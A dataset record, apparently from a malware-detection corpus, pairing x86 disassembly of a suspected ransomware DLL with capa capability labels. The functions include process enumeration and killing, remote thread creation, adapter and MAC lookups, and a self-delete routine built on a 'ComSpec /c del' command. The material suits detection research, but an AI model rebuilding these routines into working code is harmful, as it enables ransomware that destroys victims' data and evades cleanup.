joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10015210
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x10067bf0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 0xffffffff
jne 0x10015230
mov al, 1
jmp 0x100153c1
cmp dword [ebp + 8], 0
jne 0x1001523d
mov al, 1
jmp 0x100153c1
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
test ecx, ecx
jne 0x1001524e
mov al, 1
jmp 0x100153c1
mov edx, dword [ebp + 8]
push edx
call fcn.1003e400
add esp, 4
cmp eax, 4
jb 0x10015272
mov eax, dword [ebp + 8]
push eax
call fcn.1003e400
add esp, 4
cmp eax, 0x200
jb 0x10015279
mov al, 1
jmp 0x100153c1
mov byte [ebp - 0x208], 0
push 0x1ff
push 0
lea ecx, [ebp - 0x207]
push ecx
call fcn.1003e4a0
add esp, 0xc
mov edx, dword [ebp + 8]
push edx
call fcn.1003e400
add esp, 4
cmp eax, 0x200
jae 0x100152bc
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x208]
push ecx
call fcn.10008420
add esp, 8
movsx edx, byte [ebp - 0x208]
test edx, edx
je 0x100152d6
lea eax, [ebp - 0x208]
push eax
call fcn.1003e899
add esp, 4
push 0x1005a5b0
lea ecx, [ebp - 0x208]
push ecx
call fcn.10008370
add esp, 8
test eax, eax
je 0x100152f5
mov al, 1
jmp 0x100153c1
push 0x1005a5b4
lea edx, [ebp - 0x208]
push edx
call fcn.10008370
add esp, 8
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0
je 0x1001532e
mov eax, dword [ebp - 0x20c]
movsx ecx, byte [eax + 4]
cmp ecx, 0x3a
je 0x1001532e
mov al, 1
jmp 0x100153c1
lea edx, [ebp - 0x208]
push edx
call fcn.10015090
add esp, 4
movzx eax, al
test eax, eax
je 0x10015348
mov al, 1
jmp 0x100153c1
cmp dword [0x10121390], 0
je 0x1001538d
push str.OUTLOOK_
lea ecx, [ebp - 0x208]
push ecx
call fcn.10008370
add esp, 8
test eax, eax
je 0x1001536d
mov al, 1
jmp 0x100153c1
push str..DAT
lea edx, [ebp - 0x208]
push edx
call fcn.10008370
add esp, 8
test eax, eax
je 0x10015389
mov al, 1
jmp 0x100153c1
xor al, al
jmp 0x100153c1
push 0
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x210], eax
push 0
push 0
push 0
mov ecx, dword [ebp + 0xc]
push ecx
call dword [0x1017fb60]
cmp dword [ebp - 0x210], 0x200
jge 0x100153bf
mov al, 1
jmp 0x100153c1
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1003e48b
mov esp, ebp
pop ebp
ret
Function at 0x10016d00
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 4], eax
mov eax, dword [0x1011cc30]
add eax, 1
xor edx, edx
mov ecx, 0x20
div ecx
mov dword [0x1011cc30], edx
push 0x208
mov edx, dword [0x1011cc30]
imul edx, edx, 0x208
add edx, 0x100c6138
push edx
call fcn.100083d0
add esp, 8
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [0x1011cc30]
imul ecx, ecx, 0x208
add ecx, 0x100c6138
push ecx
call fcn.10008420
add esp, 8
mov edx, dword [0x1011cc30]
imul edx, edx, 0x208
mov eax, dword [ebp - 4]
mov dword [edx + 0x100c633c], eax
mov ecx, dword [0x1011cc30]
imul ecx, ecx, 0x208
mov edx, dword [ebp + 0xc]
mov dword [ecx + 0x100c6338], edx
mov esp, ebp
pop ebp
ret

Function at 0x10018710
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x10067bf0]
xor eax, ebp
mov dword [ebp - 8], eax
cmp dword [ebp + 8], 0
jne 0x10018730
xor eax, eax
jmp 0x100188be
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
test ecx, ecx
jne 0x10018741
xor eax, eax
jmp 0x100188be
push str._USB
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x10018763
mov eax, 0x10
jmp 0x100188be
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x5c
jne 0x1001877d
mov eax, 0x20
jmp 0x100188be
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x41
jl 0x10018795
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x5a
jg 0x10018795
jmp 0x100187b4
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
cmp ecx, 0x61
jl 0x100187ad
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x7a
jg 0x100187ad
jmp 0x100187b4
xor eax, eax
jmp 0x100188be
mov byte [ebp - 0x10], 0
xor ecx, ecx
mov dword [ebp - 0xf], ecx
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
push eax
push 0x1005ad74
lea ecx, [ebp - 0x10]
push ecx
call fcn.1003e8fe
add esp, 0xc
lea edx, [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x21c], eax
mov ecx, dword [ebp - 0x21c]
sub ecx, 1
mov dword [ebp - 0x21c], ecx
cmp dword [ebp - 0x21c], 4
ja case.0x1001880d.2
mov edx, dword [ebp - 0x21c]
jmp dword [edx*4 + 0x100188cc]
cmp dword [0x1011eafc], 0
je 0x100188a5
mov byte [ebp - 0x210], 0
push 0x1ff
push 0
lea eax, [ebp - 0x20f]
push eax
call fcn.1003e4a0
add esp, 0xc
mov dword [ebp - 0x214], 0x200
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
push edx
push 0x1005ad7c
lea eax, [ebp - 0x10]
push eax
call fcn.1003e8fe
add esp, 0xc
lea ecx, [ebp - 0x214]
push ecx
lea edx, [ebp - 0x210]
push edx
lea eax, [ebp - 0x10]
push eax
call sub.MPR.dll_WNetGetConnectionA
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0
je 0x1001889e
cmp dword [ebp - 0x218], 0x8ca
je 0x1001889e
cmp dword [ebp - 0x218], 0x4b1
jne 0x100188a5
mov eax, 0x40
jmp 0x100188be
jmp case.0x1001880d.2
mov eax, 0x10
jmp 0x100188be
mov eax, 0x40
jmp 0x100188be
mov eax, 0x80
jmp 0x100188be
xor eax, eax
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.1003e48b
mov esp, ebp
pop ebp
ret
Function at 0x100189c0
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [ebp + 8], 0
jne 0x100189d1
jmp 0x10018a8b
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
test ecx, ecx
jne 0x100189e0
jmp 0x10018a8b
cmp dword [ebp + 0xc], 0
jne 0x100189eb
jmp 0x10018a8b
mov edx, dword [ebp + 8]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
movsx ecx, byte [eax]
cmp ecx, 0x5c
jne 0x10018a05
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
movsx ecx, byte [eax]
cmp ecx, 0x5c
jne 0x10018a19
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x10018a7b
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0xc]
cmp dword [edx], 0
je 0x10018a7b
push 4
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
push edx
lea eax, [ebp - 4]
push eax
call fcn.100083f0
add esp, 0xc
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x10018a73
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
call fcn.10008420
add esp, 8
jmp 0x10018a79
mov ecx, dword [ebp + 0xc]
mov byte [ecx], 0
jmp 0x10018a8b
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp + 0xc]
push eax
call fcn.10008420
add esp, 8
mov esp, ebp
pop ebp
ret

Function at 0x10019610
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
push 0x1011f118
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push str.TerminateProcess4Ransom__d___s_
push 0
call fcn.1003b780
add esp, 0x10
push 1
mov eax, dword [0x1011c7bc]
push eax
call dword [0x10176c60]
lea ecx, [ebp - 4]
push ecx
push 0
push 0
push 0x10019520
push 0
push 0
call fcn.1004034e
add esp, 0x18
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esp, ebp
pop ebp
ret
Function at 0x10024790
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x430
mov eax, dword [0x10067bf0]
xor eax, ebp
mov dword [ebp - 0x1c], eax
mov byte [ebp - 1], 0
mov byte [ebp - 0x429], 0
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x428], 1
mov dword [ebp - 0x10], 0
push 0
push 0x80
push 3
push 0
push 1
push closesocket
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x14], eax
push 0
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 8], eax
mov edx, dword [ebp - 8]
and edx, 0xff
shl edx, 8
mov eax, dword [ebp - 8]
shr eax, 8
and eax, 0xff
or edx, eax
shl edx, 0x10
mov dword [ebp - 0x424], edx
cmp dword [ebp - 0x428], 0
jbe 0x100248e9
mov dword [ebp - 0x428], 0
push 0x400
push 0
lea ecx, [ebp - 0x420]
push ecx
call fcn.1003e4a0
add esp, 0xc
push 0
lea edx, [ebp - 0x428]
push edx
push 0x400
lea eax, [ebp - 0x420]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 0x18], eax
mov edx, dword [ebp - 0x10]
add edx, dword [ebp - 0x428]
mov dword [ebp - 0x10], edx
cmp dword [ebp - 0x18], 0
jne 0x10024879
jmp 0x100248e9
mov dword [ebp - 0x430], 0
jmp 0x10024894
mov eax, dword [ebp - 0x430]
add eax, 1
mov dword [ebp - 0x430], eax
mov ecx, dword [ebp - 0x430]
cmp ecx, dword [ebp - 0x428]
jae 0x100248e4
cmp dword [ebp - 0x430], 0x400
jge 0x100248e4
mov edx, dword [ebp - 0x430]
movzx eax, byte [ebp + edx - 0x420]
movzx ecx, byte [ebp - 1]
add ecx, eax
mov byte [ebp - 1], cl
mov edx, dword [ebp - 0x430]
movzx eax, byte [ebp + edx - 0x420]
movzx ecx, byte [ebp - 0x429]
sub ecx, eax
mov byte [ebp - 0x429], cl
jmp 0x10024885
jmp 0x10024816
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, byte [ebp - 1]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
shl ecx, 8
mov dword [ebp - 0xc], ecx
movzx edx, byte [ebp - 0x429]
or edx, dword [ebp - 0xc]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x424]
or eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1003e48b
mov esp, ebp
pop ebp
ret
Function at 0x1002a520
Capabilities:
Create process on windows
Query environment variable
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
mov eax, dword [0x10067bf0]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x200
push 0
lea eax, [ebp - 0x408]
push eax
call fcn.1003e4a0
add esp, 0xc
push 0x200
push 0
lea ecx, [ebp - 0x208]
push ecx
call fcn.1003e4a0
add esp, 0xc
push 0x200
lea edx, [ebp - 0x408]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x1002a613
push 0x200
lea eax, [ebp - 0x408]
push eax
lea ecx, [ebp - 0x408]
push ecx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x1002a613
push str._c_del
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x408]
push eax
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push str.____NUL
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x200
lea eax, [ebp - 0x408]
push eax
push str.ComSpec
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x1002a613
push 0
push 0
lea ecx, [ebp - 0x208]
push ecx
lea edx, [ebp - 0x408]
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jle 0x1002a613
mov eax, 1
jmp 0x1002a615
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1003e48b
mov esp, ebp
pop ebp
ret
Function at 0x1002fe40
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x140
mov eax, dword [0x10067bf0]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x138], 0
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x130], 0
push 0x124
push 0
lea eax, [ebp - 0x12c]
push eax
call fcn.1003e4a0
add esp, 0xc
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0xffffffff
jne 0x1002fea6
xor eax, eax
jmp 0x1002ff8f
mov dword [ebp - 0x130], 0x128
lea ecx, [ebp - 0x130]
push ecx
mov edx, dword [ebp - 0x134]
push edx
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1002ff6b
mov dword [ebp - 0x13c], 0
mov eax, dword [ebp - 0x128]
cmp eax, dword [ebp + 8]
jne 0x1002ff31
mov ecx, dword [ebp - 0x128]
push ecx
push 0
push 0x43a
call dword [0x101496b8]
mov dword [ebp - 0x140], eax
lea edx, [ebp - 0x10c]
push edx
mov eax, dword [ebp + 0xc]
push eax
call fcn.10008420
add esp, 8
mov dword [ebp - 0x138], 1
cmp dword [ebp - 0x140], 0
jne 0x1002ff22
jmp 0x1002ff4e
mov ecx, dword [ebp - 0x140]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1002ff69
cmp dword [ebp - 0x13c], 0x3e8
jle 0x1002ff3f
jmp 0x1002ff69
mov edx, dword [ebp - 0x13c]
add edx, 1
mov dword [ebp - 0x13c], edx
lea eax, [ebp - 0x130]
push eax
mov ecx, dword [ebp - 0x134]
push ecx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1002fed5
jmp 0x1002ff7c
mov dword [ebp + 0xc], 0
mov dword [ebp - 0x138], 0
mov edx, dword [ebp - 0x134]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1003e48b
mov esp, ebp
pop ebp
ret
Function at 0x1002ffa0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
cmp dword [ebp + 8], 0
jne 0x1002ffb4
or eax, 0xffffffff
jmp 0x1003007c
push 0x1005e70c
push str.Kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x1002ffdc
or eax, 0xffffffff
jmp 0x1003007c
push 0
push 0
push 0x42a
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x10030010
cmp dword [ebp - 0x18], 0
jne 0x10030015
or eax, 0xffffffff
jmp 0x1003007c
lea edx, [ebp - 0x10]
push edx
push 0
push 0
mov eax, dword [ebp - 8]
push eax
push 0
push 0
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0xc], 0
jne 0x10030047
or eax, 0xffffffff
jmp 0x1003007c
push 0x7530
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea ecx, [ebp - 4]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
jne 0x1003006f
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x10031e40
Capabilities:
Find taskbar

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push 0
push str.Shell_TrayWnd
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x10031f52
push 0
push str.TrayNotifyWnd
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_FindWindowExA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x10031f52
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
jmp 0x10031ea0
mov ecx, dword [ebp - 0x10]
add ecx, 1
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x10], 5
jge 0x10031f4e
push 0
push str.SysPager
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_FindWindowExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x10031ecd
jmp 0x10031f4e
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x10031edd
jmp 0x10031e97
push 0
push 0x1005f0d0
push 0
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.USER32.dll_FindWindowExA]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x10031efb
jmp 0x10031e97
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x10031f0b
jmp 0x10031e97
cmp dword [0x1011fd7c], 4
jne 0x10031f2b
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x14]
push edx
push str.hToolbar:_08x__d_
push 0
call fcn.1003b780
add esp, 0x10
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.10031ac0
add esp, 8
movzx edx, al
test edx, edx
je 0x10031f49
mov al, 1
jmp 0x10031fca
jmp 0x10031e97
xor al, al
jmp 0x10031fca
push 0
push str.NotifyIconOverflowWindow
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10031f6c
xor al, al
jmp 0x10031fca
push 0
push str.ToolbarWindow32
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_FindWindowExA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10031f8c
xor al, al
jmp 0x10031fca
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x10031f9e
xor al, al
jmp 0x10031fca
cmp dword [0x1011fd7c], 4
jne 0x10031fba
mov edx, dword [ebp - 4]
push edx
push str.hToolbar2:_08x
push 0
call fcn.1003b780
add esp, 0xc
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.10031ac0
add esp, 8
mov esp, ebp
pop ebp
ret
Function at 0x10033720
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
mov eax, dword [0x10067bf0]
xor eax, ebp
mov dword [ebp - 8], eax
mov dword [ebp - 0x138], 0
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x130], 0
push 0x124
push 0
lea eax, [ebp - 0x12c]
push eax
call fcn.1003e4a0
add esp, 0xc
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0xffffffff
jne 0x10033786
xor eax, eax
jmp 0x10033825
mov dword [ebp - 0x130], 0x128
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x130]
push ecx
mov edx, dword [ebp - 0x134]
push edx
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10033815
mov eax, dword [ebp - 0x128]
push eax
push 0
push 0x43a
call dword [0x101496b8]
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0
jne 0x100337d3
jmp 0x100337fe
mov ecx, dword [ebp - 0x13c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x100337fe
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
lea edx, [ebp - 0x130]
push edx
mov eax, dword [ebp - 0x134]
push eax
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x100337ae
mov ecx, dword [ebp - 0x134]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.1003e48b
mov esp, ebp
pop ebp
ret
Function at 0x10035820
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x140
mov eax, dword [0x10067bf0]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x138], 0
mov dword [ebp - 0x130], 0
push 0x124
push 0
lea eax, [ebp - 0x12c]
push eax
call fcn.1003e4a0
add esp, 0xc
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0xffffffff
jne 0x1003587c
xor eax, eax
jmp 0x1003596e
mov dword [ebp - 0x130], 0x128
lea ecx, [ebp - 0x130]
push ecx
mov edx, dword [ebp - 0x134]
push edx
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10035951
mov dword [ebp - 0x13c], 0
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x1003590d
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [ebp - 0x128], eax
je 0x1003590d
mov edx, dword [ebp - 0x128]
push edx
push 0
push 0x401
call dword [0x101496b8]
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 0
je 0x1003590d
push 0
mov eax, dword [ebp - 0x140]
push eax
call dword [0x10176c60]
mov ecx, dword [ebp - 0x140]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x130], 0x128
cmp dword [ebp - 0x13c], 0x2710
jle 0x10035925
jmp 0x1003594f
mov edx, dword [ebp - 0x13c]
add edx, 1
mov dword [ebp - 0x13c], edx
lea eax, [ebp - 0x130]
push eax
mov ecx, dword [ebp - 0x134]
push ecx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x100358ab
jmp 0x1003595b
mov dword [ebp - 0x138], 0
mov edx, dword [ebp - 0x134]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1003e48b
mov esp, ebp
pop ebp
ret
Function at 0x10037900
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2898
call fcn.1003e980
mov eax, dword [0x10067bf0]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x2898], 0x2880
lea eax, [ebp - 0x2898]
push eax
lea ecx, [ebp - 0x2888]
push ecx
call sub.IPHLPAPI.DLL_GetAdaptersInfo
mov dword [ebp - 0x2894], eax
cmp dword [ebp - 0x2894], 0
je 0x1003794a
xor al, al
jmp 0x10037a87
lea edx, [ebp - 0x2888]
mov dword [ebp - 0x288c], edx
cmp dword [ebp - 0x288c], 0
jne 0x10037966
xor al, al
jmp 0x10037a87
mov dword [ebp - 0x2890], 0
mov eax, dword [ebp - 0x288c]
movzx ecx, byte [eax + 0x194]
mov edx, dword [ebp - 0x288c]
movzx eax, byte [edx + 0x195]
and ecx, eax
mov edx, dword [ebp - 0x288c]
movzx eax, byte [edx + 0x196]
and ecx, eax
mov edx, dword [ebp - 0x288c]
movzx eax, byte [edx + 0x197]
and ecx, eax
mov edx, dword [ebp - 0x288c]
movzx eax, byte [edx + 0x198]
and ecx, eax
mov edx, dword [ebp - 0x288c]
movzx eax, byte [edx + 0x199]
and ecx, eax
cmp ecx, 0xff
jne 0x100379d2
jmp 0x10037a50
mov ecx, dword [ebp - 0x288c]
movzx edx, byte [ecx + 0x194]
mov eax, dword [ebp - 0x288c]
movzx ecx, byte [eax + 0x195]
or edx, ecx
mov eax, dword [ebp - 0x288c]
movzx ecx, byte [eax + 0x196]
or edx, ecx
mov eax, dword [ebp - 0x288c]
movzx ecx, byte [eax + 0x197]
or edx, ecx
mov eax, dword [ebp - 0x288c]
movzx ecx, byte [eax + 0x198]
or edx, ecx
mov eax, dword [ebp - 0x288c]
movzx ecx, byte [eax + 0x199]
or edx, ecx
jne 0x10037a2e
jmp 0x10037a50
push 6
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x288c]
add eax, 0x194
push eax
call fcn.10041353
add esp, 0xc
test eax, eax
jne 0x10037a50
mov al, 1
jmp 0x10037a87
mov ecx, dword [ebp - 0x288c]
mov edx, dword [ecx]
mov dword [ebp - 0x288c], edx
cmp dword [ebp - 0x2890], 0x10
jle 0x10037a69
jmp 0x10037a85
mov eax, dword [ebp - 0x2890]
add eax, 1
mov dword [ebp - 0x2890], eax
cmp dword [ebp - 0x288c], 0
jne 0x10037970
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1003e48b
mov esp, ebp
pop ebp
ret

Function at 0x10037aa0
Capabilities:
Get local ipv4 addresses

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2898
call fcn.1003e980
mov eax, dword [0x10067bf0]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x2898], 0x2880
lea eax, [ebp - 0x2898]
push eax
lea ecx, [ebp - 0x2888]
push ecx
call sub.IPHLPAPI.DLL_GetAdaptersInfo
mov dword [ebp - 0x2894], eax
cmp dword [ebp - 0x2894], 0
je 0x10037ae7
xor al, al
jmp 0x10037b5e
lea edx, [ebp - 0x2888]
mov dword [ebp - 0x288c], edx
cmp dword [ebp - 0x288c], 0
jne 0x10037b00
xor al, al
jmp 0x10037b5e
mov dword [ebp - 0x2890], 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x288c]
add ecx, 0x1b0
push ecx
call fcn.10008260
add esp, 8
test eax, eax
jne 0x10037b2b
mov al, 1
jmp 0x10037b5e
mov edx, dword [ebp - 0x288c]
mov eax, dword [edx]
mov dword [ebp - 0x288c], eax
cmp dword [ebp - 0x2890], 0x10
jle 0x10037b44
jmp 0x10037b5c
mov ecx, dword [ebp - 0x2890]
add ecx, 1
mov dword [ebp - 0x2890], ecx
cmp dword [ebp - 0x288c], 0
jne 0x10037b0a
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1003e48b
mov esp, ebp
pop ebp
ret